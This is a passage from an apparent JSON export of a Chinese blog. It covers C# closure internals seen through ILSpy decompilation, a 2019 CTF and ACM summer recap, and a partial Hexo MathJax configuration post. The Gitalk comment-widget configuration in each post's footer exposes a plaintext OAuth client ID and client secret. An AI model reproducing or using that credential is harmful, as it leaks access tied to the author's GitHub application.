class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Collections.Generic;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Linq;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Reflection;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e \u003cspan class=\"title\"\u003eTest\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eProgram\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Action f = () =\u0026gt; \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e IList\u0026lt;Type\u0026gt; classes = asm.GetTypes ()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e .Where (x =\u0026gt; x.IsClass)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e .ToList ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e classes) Console.WriteLine (i);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的程序中创建了一个没有传入参数,没有返回值的匿名函数\u003c/p\u003e\u003cp\u003e由于匿名函数没有捕获其所在作用域内的任何变量,故这个函数\u003cstrong\u003e不构成闭包\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u0026lt;\u0026gt;c不是我们关心的东西\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = () =\u0026gt; a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对上面的程序做略微的修改,这个匿名函数现在使用了在\u003ccode\u003eMain\u003c/code\u003e函数中的变量\u003ccode\u003ea\u003c/code\u003e,\u003cstrong\u003e构成了闭包\u003c/strong\u003e,同时我们能看到出现了一个名叫\u003ccode\u003eProgram+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/code\u003e的类。\u003c/p\u003e\u003cp\u003e打开反编译器,让我们康康它到底是个啥。\u003c/p\u003e\u003cp\u003e默认情况下,ILSpy会忽略掉编译器生成的各种东西,那既然我们知道匿名函数是C#2.0出来的东西,那我们就照着C#1.0来逆,ILSpy就会不知道该咋办从而显示出来了\u003c/p\u003e\u003cp\u003e貌似windows上Ilspy GUI里头还有显示Compiler Generated的选项。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eilspycmd output.dll -lv CSharp1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in namespace Test :\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[\u003cspan class=\"meta\"\u003eCompilerGenerated\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"keyword\"\u003esealed\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u0026lt;\u0026gt;\u003cspan class=\"title\"\u003ec__DisplayClass0_0\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003einternal\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e \u0026lt;Main\u0026gt;b__0() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in function Main() :\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgram.\u0026lt;\u0026gt;c__DisplayClass0_0 CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Program.\u0026lt;\u0026gt;c__DisplayClass0_0();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eCS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eFunc\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt;(CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.\u0026lt;Main\u0026gt;b__0);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ef();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,rosyln创建了一个单独的类,在运行时将自由变量赋给这个类的成员,从而实现了闭包。\u003c/p\u003e\u003cp\u003ebtw,我们还能从上面的反编译出来的代码中推断出,对于闭包,C#采用了引用传递,而非值传递(由于变量的地址相同,反编译器把它们当作了同一个变量)。仔细思考一下,这符合描述闭包的哪一句定义?\u003c/p\u003e\u003ch2 id=\"Backing-Field-与-getter-setter\"\u003eBacking Field 与 getter/setter\u003c/h2\u003e\u003cp\u003e// WIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/02/07/Security/Osu%E9%80%86%E5%90%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E7%BB%93/"},{"title":"2019暑假划水小结","time":"2019-08-23T09:50:44Z","content":"\u003ch2 id=\"TOC\"\u003e[TOC]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003emoeCTF\u003c/li\u003e\n\u003cli\u003emssCTF\u003c/li\u003e\n\u003cli\u003eACM牛客多校\u003c/li\u003e\n\u003cli\u003eACM暑训\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"moeCTF\"\u003emoeCTF\u003c/h2\u003e\n\u003cp\u003e今年的moeCTF貌\u003chr /\u003e\u003ch2 id=\"TOC\"\u003e[TOC]\u003c/h2\u003e\u003cul\u003e\u003cli\u003emoeCTF\u003c/li\u003e\u003cli\u003emssCTF\u003c/li\u003e\u003cli\u003eACM牛客多校\u003c/li\u003e\u003cli\u003eACM暑训\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"moeCTF\"\u003emoeCTF\u003c/h2\u003e\u003cp\u003e今年的moeCTF貌似开早了,题也放的超级多\u003cbr\u003e有EndCat带设计师的加持,今年的moeCTF的海报和logo做的究级有排面\u003cbr\u003e服务器的uptime \u0026gt;= 95%,还行\u003c/p\u003e\u003cp\u003e平台的一些修改:\u003c/p\u003e\u003cul\u003e\u003cli\u003e添加了提交flag时的hook,每次正确提交都会在群里提示\u003c/li\u003e\u003cli\u003e添加了hidden用户的排行榜,方便大师傅们看榜\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"mssCTF\"\u003emssCTF\u003c/h2\u003e\u003cp\u003e去年参加的mssCTF今年还是西电举办,于是我就做了些微小的工作…\u003cbr\u003e虽然说最后成功让CTFd支持了ACM评测,但是由于过程极其坎坷,浪费了很多时间,我觉得比较失败\u003cbr\u003e\u003ca href=\"/2019/07/25/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/\"\u003e一些微小的工作\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM牛客多校\"\u003eACM牛客多校\u003c/h2\u003e\u003cp\u003e暑假主要参与的活动就是牛客的多校训练。我有以下几点感受:\u003c/p\u003e\u003cul\u003e\u003cli\u003e我好菜啊\u003c/li\u003e\u003cli\u003e我好蔡啊\u003c/li\u003e\u003cli\u003e我好🥬啊\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e看到几何旋律每次都直接平A过去,心态有·崩\u003cbr\u003e交钱买了一件衣服\u003cbr\u003e\u003ca href=\"/2019/08/06/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/\"\u003e多校\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM暑期集训\"\u003eACM暑期集训\u003c/h2\u003e\u003cp\u003e每天早上9点开始的集训,本来是暑实的大好机会,然而由于多种因素共同导致的事件而错过了。\u003cbr\u003e说实在的挺后悔的,没特别认真的听,又在浪费时间浪费生命。\u003cbr\u003eACM暑训模拟赛 校内Au, 3rd\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/23/Misc/2019%E6%9A%91%E5%81%87%E5%88%92%E6%B0%B4%E5%B0%8F%E7%BB%93/"},{"title":"论mathjax踩坑","time":"2019-08-06T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e我就不应该想起来要折腾博客的\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003c/h2\u003e\n\u003cp\u003e结论放前面吧\u003cbr\u003e\nhexo自带的renderer对mathjax较不友好,于是换成了\u003ccode\u003ehexo-renderer-mark\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e我就不应该想起来要折腾博客的\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"结论\"\u003e结论\u003c/h2\u003e\u003cp\u003e结论放前面吧\u003cbr\u003ehexo自带的renderer对mathjax较不友好,于是换成了\u003ccode\u003ehexo-renderer-markdown-it\u003c/code\u003e\u003cbr\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-marked\"\u003erenderer-marked\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it\"\u003erenderer-markdown-it\u003c/a\u003e\u003cbr\u003e其实这并没有解决我的问题,只是看着有commonmark…真正解决我问题的是\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it/issues/36\"\u003e这个issue\u003c/a\u003e\u003c/p\u003e\u003cp\u003e现在的配置基本上是这样:\u003cbr\u003enpm install --save hexo-renderer-markdown-it markdown-it-mathjax\u003cbr\u003e使用了cactus主题,具体配置不说,主要是在cactus/layout/poast.ejs中要手动对文章内的公式渲染一下\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;% \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(page.math) \u0026#123; %\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/x-mathjax-config\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Config(\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;HTML-CSS\u0026quot;\u003c/span\u003e: \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e scale: \u003cspan class=\"number\"\u003e100\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e preferredFont: \u003cspan class=\"string\"\u003e\u0026quot;TeX\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e availableFonts: [\u003cspan class=\"string\"\u003e\u0026quot;STIX\u0026quot;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026quot;TeX\u0026quot;\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e linebreaks: \u0026#123; \u003cspan class=\"attr\"\u003eautomatic\u003c/span\u003e:\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e EqnChunk: (MathJax.Hub.Browser.isMobile ? \u003cspan class=\"number\"\u003e10\u003c/span\u003e : \u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tex2jax: \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inlineMath: [ [\u003cspan class=\"string\"\u003e\u0026quot;$\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;$\u0026quot;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e displayMath: [ [\u003cspan class=\"string\"\u003e\u0026quot;$$\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;$$\u0026quot;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e processEscapes: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ignoreClass: \u003cspan class=\"string\"\u003e\u0026quot;tex2jax_ignore|dno\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e skipTags: [\u003cspan class=\"string\"\u003e\u0026#x27;script\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;noscript\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;style\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;textarea\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pre\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e TeX: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e noUndefined: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e attributes: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mathcolor: \u003cspan class=\"string\"\u003e\u0026quot;red\u0026quot;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathbackground\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;#FFEEEE\u0026quot;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathsize\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;90%\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;, \u003cspan class=\"attr\"\u003eMacros\u003c/span\u003e: \u0026#123; \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;\u0026#125;\u0026quot;\u003c/span\u003e \u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e messageStyle: \u003cspan class=\"string\"\u003e\u0026quot;none\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;); \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/x-mathjax-config\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Queue(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) 